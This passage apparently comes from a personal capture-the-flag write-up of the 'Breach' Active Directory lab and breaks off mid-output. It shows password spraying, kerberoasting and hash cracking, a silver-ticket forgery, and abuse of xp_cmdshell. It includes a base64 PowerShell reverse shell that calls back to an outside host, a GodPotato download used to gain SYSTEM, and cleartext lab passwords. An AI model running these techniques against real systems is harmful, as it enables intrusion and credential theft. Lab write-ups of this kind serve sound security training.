JULIA.WONG::BREACH:c89d844fb65ff8f2:0f217f9fa908f122c1256ecffa75f14a:010100000000000080903e10c808dd01da427e402b6b78510000000002000800540048004d00390001001e00570049004e002d00560030003800430051003900530042004b005a00310004003400570049004e002d00560030003800430051003900530042004b005a0031002e00540048004d0039002e004c004f00430041004c0003001400540048004d0039002e004c004f00430041004c0005001400540048004d0039002e004c004f00430041004c000700080080903e10c808dd01060004000200000008003000300000000000000001000000002000007b6f8417d39fda34cc7e36d10af82826accee1e14c2211c88e1d9c543ce92df70a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310035002e003100330034000000000000000000:[REDACTED] Session..........: hashcat Status...........: Cracked ``` {% endcode %} ## On My Own Again.. Decided to try and move forward on my own again until I get stuck. ### Confirming `Julia.Wong` credentials and listing users {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 06/30/2026 07:43:50 PM)-[~/htb/machines/breach/lure] └─$ nxc smb 10.129.24.242 -u 'Julia.Wong' -p '[REDACTED]' --users SMB 10.129.24.242 445 BREACHDC [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.24.242 445 BREACHDC [+] breach.vl\Julia.Wong:Computer1 SMB 10.129.24.242 445 BREACHDC -Username- -Last PW Set- -BadPW- -Description- SMB 10.129.24.242 445 BREACHDC Administrator 2025-09-08 08:21:20 0 Built-in account for administering the computer/domain SMB 10.129.24.242 445 BREACHDC Guest 2022-02-17 13:36:50 0 Built-in account for guest access to the computer/domain SMB 10.129.24.242 445 BREACHDC krbtgt 2022-02-17 10:04:57 0 Key Distribution Center Service Account SMB 10.129.24.242 445 BREACHDC Claire.Pope 2022-02-17 10:36:11 0 SMB 10.129.24.242 445 BREACHDC Julia.Wong 2022-02-17 12:58:50 0 SMB 10.129.24.242 445 BREACHDC Hilary.Reed 2022-02-17 10:36:11 0 SMB 10.129.24.242 445 BREACHDC Diana.Pope 2022-02-17 10:36:11 0 SMB 10.129.24.242 445 BREACHDC Jasmine.Price 2022-02-17 10:36:11 0 SMB 10.129.24.242 445 BREACHDC George.Williams 2022-02-17 10:36:11 0 SMB 10.129.24.242 445 BREACHDC Lawrence.Kaur 2022-02-17 10:36:12 0 SMB 10.129.24.242 445 BREACHDC Jasmine.Slater 2022-02-17 10:36:12 0 SMB 10.129.24.242 445 BREACHDC Hugh.Watts 2022-02-17 10:36:12 0 SMB 10.129.24.242 445 BREACHDC Christine.Bruce 2022-02-17 10:36:12 0 SMB 10.129.24.242 445 BREACHDC svc_mssql 2022-02-17 10:43:08 0 SMB 10.129.24.242 445 BREACHDC [*] Enumerated 14 local users: BREACH ``` {% endcode %} #### Password re-use {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 06/30/2026 07:45:45 PM)-[~/htb/machines/breach] └─$ nxc smb 10.129.24.242 -u users.txt -p '[REDACTED]' --continue-on-success SMB 10.129.24.242 445 BREACHDC [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.24.242 445 BREACHDC [-] breach.vl\Claire.Pope:Computer1 STATUS_LOGON_FAILURE SMB 10.129.24.242 445 BREACHDC [+] breach.vl\Julia.Wong:Computer1 SMB 10.129.24.242 445 BREACHDC [-] breach.vl\Hilary.Reed:Computer1 STATUS_LOGON_FAILURE SMB 10.129.24.242 445 BREACHDC [-] breach.vl\Diana.Pope:Computer1 STATUS_LOGON_FAILURE SMB 10.129.24.242 445 BREACHDC [-] breach.vl\Jasmine.Price:Computer1 STATUS_LOGON_FAILURE SMB 10.129.24.242 445 BREACHDC [-] breach.vl\George.Williams:Computer1 STATUS_LOGON_FAILURE SMB 10.129.24.242 445 BREACHDC [-] breach.vl\Lawrence.Kaur:Computer1 STATUS_LOGON_FAILURE SMB 10.129.24.242 445 BREACHDC [-] breach.vl\Jasmine.Slater:Computer1 STATUS_LOGON_FAILURE SMB 10.129.24.242 445 BREACHDC [-] breach.vl\Hugh.Watts:Computer1 STATUS_LOGON_FAILURE SMB 10.129.24.242 445 BREACHDC [-] breach.vl\Christine.Bruce:Computer1 STATUS_LOGON_FAILURE SMB 10.129.24.242 445 BREACHDC [-] breach.vl\svc_mssql:Computer1 STATUS_LOGON_FAILURE ``` {% endcode %} #### Checking SMB with `Julia.Wong` user Might have just stumbled upon the user.txt.. {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 06/30/2026 07:46:27 PM)-[~/htb/machines/breach] └─$ smbclient //breachdc.breach.vl/share -U 'Julia.Wong' Password for [WORKGROUP\Julia.Wong]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Tue Jun 30 18:22:43 2026 .. DHS 0 Tue Sep 9 05:35:32 2025 finance D 0 Thu Feb 17 05:19:34 2022 hello.txt A 6 Tue Jun 30 18:22:43 2026 software D 0 Thu Feb 17 05:19:12 2022 transfer D 0 Tue Jun 30 19:38:29 2026 7863807 blocks of size 4096. 1547326 blocks available smb: \> cd transfer smb: \transfer\> ls . D 0 Tue Jun 30 19:38:29 2026 .. D 0 Tue Jun 30 18:22:43 2026 Autorun.inf A 80 Tue Jun 30 19:38:28 2026 claire.pope D 0 Thu Feb 17 05:21:35 2022 desktop.ini A 48 Tue Jun 30 19:38:27 2026 diana.pope D 0 Thu Feb 17 05:21:19 2022 julia.wong D 0 Wed Apr 16 19:38:12 2025 lure-(externalcell).xlsx A 5859 Tue Jun 30 19:38:26 2026 lure-(frameset).docx A 10224 Tue Jun 30 19:38:27 2026 lure-(fulldocx).xml A 72586 Tue Jun 30 19:38:27 2026 lure-(handler).htm A 115 Tue Jun 30 19:38:28 2026 lure-(icon).url A 109 Tue Jun 30 19:38:25 2026 lure-(includepicture).docx A 10218 Tue Jun 30 19:38:28 2026 lure-(remotetemplate).docx A 26285 Tue Jun 30 19:38:29 2026 lure-(stylesheet).xml A 164 Tue Jun 30 19:38:28 2026 lure-(url).url A 57 Tue Jun 30 19:38:27 2026 lure.application A 1651 Tue Jun 30 19:38:26 2026 lure.asx A 148 Tue Jun 30 19:38:26 2026 lure.htm A 80 Tue Jun 30 19:38:27 2026 lure.jnlp A 193 Tue Jun 30 19:38:29 2026 lure.library-ms A 1220 Tue Jun 30 19:38:26 2026 lure.lnk A 2164 Tue Jun 30 19:38:29 2026 lure.m3u A 50 Tue Jun 30 19:38:26 2026 lure.pdf A 771 Tue Jun 30 19:38:29 2026 lure.rtf A 104 Tue Jun 30 19:38:26 2026 lure.scf A 86 Tue Jun 30 19:38:26 2026 lure.theme A 1682 Tue Jun 30 19:38:29 2026 lure.wax A 58 Tue Jun 30 19:38:28 2026 zoom-attack-instructions.txt A 117 Tue Jun 30 19:38:28 2026 7863807 blocks of size 4096. 1547068 blocks available smb: \transfer\> cd julia.wong\ smb: \transfer\julia.wong\> ls . D 0 Wed Apr 16 19:38:12 2025 .. D 0 Tue Jun 30 19:38:29 2026 user.txt A 32 Wed Apr 16 19:38:22 2025 7863807 blocks of size 4096. 1547031 blocks available smb: \transfer\julia.wong\> cat user.txt cat: command not found smb: \transfer\julia.wong\> get user.txt getting file \transfer\julia.wong\user.txt of size 32 as user.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec) smb: \transfer\julia.wong\> ``` {% endcode %} * grabbed zoom-attack-instructions.txt * nothing in the other user folders under `\transfer` ## User.txt ```bash ┌──(kali㉿kali 06/30/2026 07:46:17 PM)-[~/htb/machines/breach] └─$ ls hello.txt lure NTUSER.DAT reports user.txt julia_wong.hash nmap ntuser.ini users.txt zoom-attack-instructions.txt ┌──(kali㉿kali 06/30/2026 07:49:25 PM)-[~/htb/machines/breach] └─$ cat user.txt ***************************** ``` ## Privilege Escalation Here is what I have: * `Julia.Wong` credentials * mssql * smb, but probably nothing much else to do there * kerberoasting ### Trying kerberoasting Good freaking lord, got the `svc_mssql` hash: {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 06/30/2026 07:51:18 PM)-[~/htb/machines/breach] └─$ nxc ldap 10.129.24.242 -u 'Julia.Wong' -p '[REDACTED]' --kerberoasting kerberoast.txt LDAP 10.129.24.242 389 BREACHDC [*] Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl) (signing:None) (channel binding:No TLS cert) LDAP 10.129.24.242 389 BREACHDC [+] breach.vl\Julia.Wong:Computer1 LDAP 10.129.24.242 389 BREACHDC [*] Skipping disabled account: krbtgt LDAP 10.129.24.242 389 BREACHDC [*] Total of records returned 1 LDAP 10.129.24.242 389 BREACHDC [*] sAMAccountName: svc_mssql, memberOf: [], pwdLastSet: 2022-02-17 04:43:08.106169, lastLogon: 2026-06-30 17:28:26.834468 LDAP 10.129.24.242 389 BREACHDC $krb5tgs$23$*svc_mssql$BREACH.VL$breach.vl\svc_mssql*$491455f7d012758f5c3010c7c16785b8$b9c9a0ef95212fe437212894e63865b3cfb4948106c7e8b880066a578593d01e93df1a565624b13c6eb8da08082524f27a2fbb1aeb483ac9a4f0006d0783ffb0ece36b9f304ce51f9d4c59daba84f44a1e7144f377dd46dcfd55cfbbe02e070e41d919ba2a48dd909fe1726f693858862be34da37d67d9053dbda3774f811feff14b74570679ab11a696610a524a7b1184ecbf9650419c8b62ea4daf1bbee2eb578c7833f67d85d693945b6ba03e1c1405c8dfd154199aedb0b220f11e384926d29af4d6be33bf5882ebc78efe71976206fa7cc257b67ceac1f1a7dc313e61c5bb9f2be326d40592d67e78eeff8591d9e531717c2ae921fa252d745ff81e10cd8cfa4d140fb3b79b245a77093cebaa2785116ee76330a52dd24acf04f67ec4fabcae7c8cacfad756d08de155168e84f7d5d7bbeeee7d788c76de1426eed47c9e7eaf33aaa59a3ad55630e5db8c74e83ffbf5918a28b2c6791c37945de86c32d2ffc061f5a69f1b810fb6acfb6262f2ab3eafeb57a25eb6609b0bba52ecd5b1d3fd7ff7b0e4a944a1ff2dd94009cee1a7161a3dd2de419a6ed69450ab49eca5715411b8118db5b99dc4264cee930ecbfae4d9bfc13f8256bc544e2d54ce9319ff10c7edfda165a00d04a8b902d3dcff83e2a3db63530bbe5119a4e2d7caef041a9428bbf429ab90dd95c503e813866b8796fb69434d69893b2c66762c793cffc557821a7d5e8b63115f5ccf2b83fe51e4ff3a0625705be33f94b6c838bf028c8b596175ae59ee847b5bbbfab759e4754934db475e88133e2afb8c0e59876f5bdaa44d149dc028aa44bb55961d6cc6d7065284527be50613e92cd1a0563a65bac706f76a81f7c5b2ce04f101fc206aaa744065c8ea3a5144150b6c5243d1090b79926cb6915dc2cd6622c9303e9576145db5c9af18fada0006ef173d2e42f5d842d9ab2e71b02bc6bebe2171a64461b35648e7c6c59efddbbe0819ce3888e58f6df66306d1fdebc5f21412febde2d63193f065012ecf9a69ad13d5dd8a209166faec4974a0ce11085a8d7368cea3ca45eef33fb012ef462eecaa027e4d40f58e65ba32d98444e13330558dbb2c9f111980a053ef733635fce2787637813d7e602a870dad445add43956295560548ab042c965e3d48c0ca25ae6ce9b6b66b24014e573aa574821d40e2a33e123d29b7c939d8cb8ccff6b974789ee6a2accdb07258e94267f1cad6953316cf070070c71df596435aacbaf1e488f8fd9c32b4983470b1af93870761c69bf080e10269b03400a0911ee412ae510218a24c2c0f576e904aa7679177ae47156cd25fdc60b914364eaafd10cfcb60c4edecb7f98dcea9d9623f5a7ffa38cfacb3b96319cb42ea838ef4df712f7edf79cab6f4e98ba1ba5f988d82f5fcff1c3c2407da7693a4ee5f72ff0478b9448a454d00b5a8a9714f9ee8c8d2130e02a02d82992f078d7f30a0a6d3e873 ``` {% endcode %} #### Cracking the hash {% code overflow="wrap" expandable="true" %} ```bash $krb5tgs$23$*svc_mssql$BREACH.VL$breach.vl\svc_mssql*$491455f7d012758f5c3010c7c16785b8$b9c9a0ef95212fe437212894e63865b3cfb4948106c7e8b880066a578593d01e93df1a565624b13c6eb8da08082524f27a2fbb1aeb483ac9a4f0006d0783ffb0ece36b9f304ce51f9d4c59daba84f44a1e7144f377dd46dcfd55cfbbe02e070e41d919ba2a48dd909fe1726f693858862be34da37d67d9053dbda3774f811feff14b74570679ab11a696610a524a7b1184ecbf9650419c8b62ea4daf1bbee2eb578c7833f67d85d693945b6ba03e1c1405c8dfd154199aedb0b220f11e384926d29af4d6be33bf5882ebc78efe71976206fa7cc257b67ceac1f1a7dc313e61c5bb9f2be326d40592d67e78eeff8591d9e531717c2ae921fa252d745ff81e10cd8cfa4d140fb3b79b245a77093cebaa2785116ee76330a52dd24acf04f67ec4fabcae7c8cacfad756d08de155168e84f7d5d7bbeeee7d788c76de1426eed47c9e7eaf33aaa59a3ad55630e5db8c74e83ffbf5918a28b2c6791c37945de86c32d2ffc061f5a69f1b810fb6acfb6262f2ab3eafeb57a25eb6609b0bba52ecd5b1d3fd7ff7b0e4a944a1ff2dd94009cee1a7161a3dd2de419a6ed69450ab49eca5715411b8118db5b99dc4264cee930ecbfae4d9bfc13f8256bc544e2d54ce9319ff10c7edfda165a00d04a8b902d3dcff83e2a3db63530bbe5119a4e2d7caef041a9428bbf429ab90dd95c503e813866b8796fb69434d69893b2c66762c793cffc557821a7d5e8b63115f5ccf2b83fe51e4ff3a0625705be33f94b6c838bf028c8b596175ae59ee847b5bbbfab759e4754934db475e88133e2afb8c0e59876f5bdaa44d149dc028aa44bb55961d6cc6d7065284527be50613e92cd1a0563a65bac706f76a81f7c5b2ce04f101fc206aaa744065c8ea3a5144150b6c5243d1090b79926cb6915dc2cd6622c9303e9576145db5c9af18fada0006ef173d2e42f5d842d9ab2e71b02bc6bebe2171a64461b35648e7c6c59efddbbe0819ce3888e58f6df66306d1fdebc5f21412febde2d63193f065012ecf9a69ad13d5dd8a209166faec4974a0ce11085a8d7368cea3ca45eef33fb012ef462eecaa027e4d40f58e65ba32d98444e13330558dbb2c9f111980a053ef733635fce2787637813d7e602a870dad445add43956295560548ab042c965e3d48c0ca25ae6ce9b6b66b24014e573aa574821d40e2a33e123d29b7c939d8cb8ccff6b974789ee6a2accdb07258e94267f1cad6953316cf070070c71df596435aacbaf1e488f8fd9c32b4983470b1af93870761c69bf080e10269b03400a0911ee412ae510218a24c2c0f576e904aa7679177ae47156cd25fdc60b914364eaafd10cfcb60c4edecb7f98dcea9d9623f5a7ffa38cfacb3b96319cb42ea838ef4df712f7edf79cab6f4e98ba1ba5f988d82f5fcff1c3c2407da7693a4ee5f72ff0478b9448a454d00b5a8a9714f9ee8c8d2130e02a02d82992f078d7f30a0a6d3e873:[REDACTED] Session..........: hashcat Status...........: Cracked ``` {% endcode %} ### Attempting mssqlclient ```bash ┌──(kali㉿kali 06/30/2026 07:54:50 PM)-[~/htb/machines/breach] └─$ mssqlclient.py breach.vl/svc_mssql:'[REDACTED]'@breach.vl Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies [*] Encryption required, switching to TLS [-] ERROR(BREACHDC\SQLEXPRESS): Line 1: Login failed for user 'svc_mssql'. ``` {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 06/30/2026 07:56:35 PM)-[~/htb/machines/breach] └─$ nxc mssql 10.129.24.242 -u 'svc_mssql' -p '[REDACTED]' -M mssql_priv MSSQL 10.129.24.242 1433 BREACHDC [*] Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl) (EncryptionReq:False) MSSQL 10.129.24.242 1433 BREACHDC [+] breach.vl\svc_mssql:Trustno1 ``` {% endcode %} {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 06/30/2026 07:56:56 PM)-[~/htb/machines/breach] └─$ nxc mssql 10.129.24.242 -u 'svc_mssql' -p '[REDACTED]' -M mssql_priv -o ACTI ON=privesc MSSQL 10.129.24.242 1433 BREACHDC [*] Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl) (EncryptionReq:False) MSSQL 10.129.24.242 1433 BREACHDC [+] breach.vl\svc_mssql:Trustno1 MSSQL_PRIV 10.129.24.242 1433 BREACHDC [-] can't find any path to privesc ``` {% endcode %} #### Able to list databases {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 06/30/2026 07:58:18 PM)-[~/htb/machines/breach] └─$ nxc mssql 10.129.24.242 -u svc_mssql -p '[REDACTED]' -q 'SELECT name FROM master.dbo.sysdatabases;' MSSQL 10.129.24.242 1433 BREACHDC [*] Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl) (EncryptionReq:False) MSSQL 10.129.24.242 1433 BREACHDC [+] breach.vl\svc_mssql:Trustno1 MSSQL 10.129.24.242 1433 BREACHDC name:master MSSQL 10.129.24.242 1433 BREACHDC name:tempdb MSSQL 10.129.24.242 1433 BREACHDC name:model MSSQL 10.129.24.242 1433 BREACHDC name:msdb ``` {% endcode %} #### Found a linked server {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 06/30/2026 07:58:28 PM)-[~/htb/machines/breach] └─$ nxc mssql 10.129.24.242 -u svc_mssql -p '[REDACTED]' -M enum_links MSSQL 10.129.24.242 1433 BREACHDC [*] Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl) (EncryptionReq:False) MSSQL 10.129.24.242 1433 BREACHDC [+] breach.vl\svc_mssql:Trustno1 ENUM_LINKS 10.129.24.242 1433 BREACHDC [+] Linked servers found: ENUM_LINKS 10.129.24.242 1433 BREACHDC [*] - BREACHDC\SQLEXPRESS ``` {% endcode %} {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 06/30/2026 08:00:45 PM)-[~/htb/machines/breach] └─$ nxc mssql 10.129.24.242 -u svc_mssql -p '[REDACTED]' -M exec_on_link -o LINKED_SERVER=BREACHDC\SQLEXPRESS COMMAND="whoami" MSSQL 10.129.24.242 1433 BREACHDC [*] Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl) (EncryptionReq:False) MSSQL 10.129.24.242 1433 BREACHDC [+] breach.vl\svc_mssql:Trustno1 EXEC_ON_... 10.129.24.242 1433 BREACHDC [*] Command output: [] ``` {% endcode %} {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 06/30/2026 08:01:41 PM)-[~/htb/machines/breach] └─$ nxc mssql 10.129.24.242 -u svc_mssql -p '[REDACTED]' -M enum_links -o SHOW_CONFIG=1 MSSQL 10.129.24.242 1433 BREACHDC [*] Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl) (EncryptionReq:False) MSSQL 10.129.24.242 1433 BREACHDC [+] breach.vl\svc_mssql:Trustno1 ENUM_LINKS 10.129.24.242 1433 BREACHDC [+] Linked servers found: ENUM_LINKS 10.129.24.242 1433 BREACHDC [*] - BREACHDC\SQLEXPRESS ``` {% endcode %} * research shows that this is a loopback server point back to itself, hence why the command didn’t run > There is an issue with how [mssqlclient.py](http://mssqlclient.py) handles NTLM authentication. Remember to use the IP address instead ### Connect to the mssql instance ```bash ┌──(kali㉿kali 06/30/2026 08:03:45 PM)-[~/htb/machines/breach] └─$ mssqlclient.py 'breach.vl/svc_mssql:[REDACTED]@10.129.24.242' -windows-auth Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed database context to 'master'. [*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000) [!] Press help for extra shell commands SQL (BREACH\svc_mssql guest@master)> ``` #### Enumerating logins to mssql {% code overflow="wrap" %} ```bash SQL (BREACH\svc_mssql guest@master)> enum_logins name type_desc is_disabled sysadmin securityadmin serveradmin setupadmin processadmin diskadmin dbcreator bulkadmin ------------- ------------- ----------- -------- ------------- ----------- ---------- ------------ --------- --------- --------- sa SQL_LOGIN 1 1 0 0 0 0 0 0 0 BUILTIN\Users WINDOWS_GROUP 0 0 0 0 0 0 0 0 0 SQL (BREACH\svc_mssql guest@master)> ``` {% endcode %} ### Bloodhound collection {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 06/30/2026 08:08:33 PM)-[~/htb/machines/breach] └─$ nxc ldap 10.129.24.242 -u 'Julia.Wong' -p '[REDACTED]' --bloodhound --collection All --dns-server 10.129.24.242 LDAP 10.129.24.242 389 BREACHDC [*] Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl) (signing:None) (channel binding:No TLS cert) LDAP 10.129.24.242 389 BREACHDC [+] breach.vl\Julia.Wong:Computer1 LDAP 10.129.24.242 389 BREACHDC Resolved collection methods: acl, objectprops, rdp, container, localadmin, group, dcom, trusts, session, psremote LDAP 10.129.24.242 389 BREACHDC Done in 0M 30S LDAP 10.129.24.242 389 BREACHDC Compressing output into /home/kali/.nxc/logs/BREACHDC_10.129.24.242_2026-06-30_200849_bloodhound.zip ``` {% endcode %} ![](/files/IeGYySmlrp363Kvvho1x) * checked `Julia.Wong` and `svc_mssql` * `svc_mssql` has an SPN, so silver ticket it is ![](/files/3hZ7Zie0n0aGwOcVnLRO) ## Silver Ticket Attack * NTLM hash of the service account password * The domain SID ### Calculate the hash: {% code overflow="wrap" %} ```bash python3 -c 'import hashlib; print(hashlib.new("md4", "[REDACTED]".encode("utf-16le")).hexdigest())' 69596c7aa1e8daee17f8e78870e25a5c ``` {% endcode %} ### Domain SID: ```bash S-1-5-21-2330692793-3312915120-706255856 ``` ### Obtaining the ccache with [ticketer.py](http://ticketer.py): {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 06/30/2026 08:22:50 PM)-[~/htb/machines/breach] └─$ ticketer.py -nthash 69596c7aa1e8daee17f8e78870e25a5c -domain-sid S-1-5-21-2330692793-3312915120-706255856 -domain breach.vl -spn MSSQLSvc/breachdc.breach.vl:1433 Administrator Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies [*] Creating basic skeleton ticket and PAC Infos [*] Customizing ticket for breach.vl/Administrator [*] PAC_LOGON_INFO [*] PAC_CLIENT_INFO_TYPE [*] EncTicketPart [*] EncTGSRepPart [*] Signing/Encrypting final ticket [*] PAC_SERVER_CHECKSUM [*] PAC_PRIVSVR_CHECKSUM [*] EncTicketPart [*] EncTGSRepPart [*] Saving ticket in Administrator.ccache ``` {% endcode %} #### Connecting to mssql with it: ```bash ┌──(kali㉿kali 06/30/2026 08:22:57 PM)-[~/htb/machines/breach] └─$ KRB5CCNAME=Administrator.ccache mssqlclient.py -no-pass -k BREACHDC.breach.vl Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed database context to 'master'. [*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000) [!] Press help for extra shell commands SQL (BREACH\Administrator dbo@master)> ``` * connection is as the dbo user #### Enable xp\_cmdshell {% code overflow="wrap" %} ```bash SQL (BREACH\Administrator dbo@master)> enable_xp_cmdshell INFO(BREACHDC\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install. INFO(BREACHDC\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL (BREACH\Administrator dbo@master)> xp_cmdshell whoami output ---------------- breach\svc_mssql NULL SQL (BREACH\Administrator dbo@master)> ``` {% endcode %} #### Grab PowerShell #3 (base64) revshell from [revshells.com](http://revshells.com): {% code overflow="wrap" expandable="true" %} ```bash powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4AMQAzADQAIgAsADEAMwAzADcAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA ``` {% endcode %} ```bash rlwrap -cAr nc -lvnp 1337 ``` * the walkthrough skips this, but it’s there #### Escalating via xp\_cmdshell 
SQL (BREACH\Administrator  dbo@master)> xp_cmdshell whoami /priv
output                                                                        
--------------------------------------------------------------------------------
NULL                                                                          
PRIVILEGES INFORMATION                                                        
----------------------                                                        
NULL                                                                          
Privilege Name                Description                               State 
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
NULL                                                                          
SQL (BREACH\Administrator  dbo@master)>
#### GodPotato from here [Release V1.20 · BeichenDream/GodPotato](https://github.com/BeichenDream/GodPotato/releases/tag/V1.20) Then upload it via xp\_cmdshell: {% code overflow="wrap" %} ```bash xp_cmdshell powershell -c iwr -outfile C:\programdata\gp.exe SQL (BREACH\Administrator dbo@master)> xp_cmdshell powershell -c iwr -outfile C:\programdata\gp.exe output ------ NULL SQL (BREACH\Administrator dbo@master)> SQL (BREACH\Administrator dbo@master)> SQL (BREACH\Administrator dbo@master)> xp_cmdshell powershell ls C:\programdata\ output -------------------------------------------------------------------------------- NULL NULL Directory: C:\programdata NULL NULL Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 2/10/2022 12:59 AM Amazon d----- 6/30/2026 10:26 PM docker d---s- 2/17/2022 10:26 AM Microsoft d----- 4/17/2025 12:40 AM Package Cache d----- 4/16/2025 11:23 PM regid.1991-06.com.microsoft d----- 5/8/2021 8:20 AM SoftwareDistribution d----- 5/8/2021 9:36 AM ssh d----- 9/15/2021 3:11 AM USOPrivate d----- 5/8/2021 8:20 AM USOShared d----- 4/16/2025 11:28 PM VMware -a---- 7/1/2026 1:32 AM 57344 gp.exe NULL NULL NULL SQL (BREACH\Administrator dbo@master)> ``` {% endcode %} #### nt authority\system: ```bash SQL (BREACH\Administrator dbo@master)> xp_cmdshell C:\programdata\gp.exe -cmd whoami output -------------------------------------------------------------------------------- [*] CombaseModule: 0x140725006499840 [*] DispatchTable: 0x140725009090424 [*] UseProtseqFunction: 0x140725008382768 [*] UseProtseqFunctionParamCount: 6 [*] HookRPC [*] Start PipeServer [*] Trigger RPCSS [*] CreateNamedPipe \\.\pipe\0548fea5-27c9-4a4f-b55f-a54707ea207b\pipe\epmapper [*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046 [*] DCOM obj IPID: 00005002-0f1c-ffff-a2c3-c95eafba591a [*] DCOM obj OXID: 0xe36e1d65cc05ecfa [*] DCOM obj OID: 0xe5a20c58a74bcc0d [*] DCOM obj Flags: 0x281 [*] DCOM obj PublicRefs: 0x0 [*] Marshal Object bytes len: 100 [*] UnMarshal Object [*] Pipe Connected! [*] CurrentUser: NT AUTHORITY\NETWORK SERVICE [*] CurrentsImpersonationLevel: Impersonation [*] Start Search System Token [*] PID : 936 Token:0x748 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation [*] Find System Token : True [*] UnmarshalObject: 0x80070776 [*] CurrentUser: 